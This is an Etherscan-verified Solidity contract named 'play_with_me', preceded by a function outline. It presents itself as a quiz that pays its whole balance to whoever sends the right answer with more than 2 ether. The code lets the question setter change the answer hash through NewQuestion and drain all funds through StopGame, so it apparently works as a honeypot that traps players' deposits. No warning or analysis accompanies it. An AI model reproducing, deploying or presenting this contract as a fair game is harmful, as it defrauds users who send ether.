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•  contract play_with_me *
•    - function Try(string _response)
•    - function Activate(bytes32 _questioner ...
•    - function StopGame()
•    - function NewQuestion(string _question ...
•    - function newQuestioner(address newAdd ...
•    - function()

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/**
 *Submitted for verification at Etherscan.io on 2019-03-31
*/

pragma solidity ^0.4.25;

contract play_with_me
{

    function Try(string _response) external payable {
        require(msg.sender == tx.origin);

        if(responseHash == keccak256(_response) && msg.value > 2 ether)
        {
            msg.sender.transfer(this.balance);
        }
    }

    string public question;

    address questionSender;

    bytes32 responseHash;

    bytes32 questionerPin = 0x32a854971a4970ed4a878ce0174cc2b03df4e84228a40d123c50dc75f75bba73;

    function Activate(bytes32 _questionerPin, string _question, string _response) public payable {
        if(keccak256(_questionerPin)==questionerPin) 
        {
            responseHash = keccak256(_response);
            question = _question;
            questionSender = msg.sender;
            questionerPin = 0x0;
        }
    }

    function StopGame() public payable {
        require(msg.sender==questionSender);
        msg.sender.transfer(this.balance);
    }

    function NewQuestion(string _question, bytes32 _responseHash) public payable {
        if(msg.sender==questionSender){
            question = _question;
            responseHash = _responseHash;
        }
    }

    function newQuestioner(address newAddress) public {
        if(msg.sender==questionSender)questionSender = newAddress;
    }

    function() public payable{}
}

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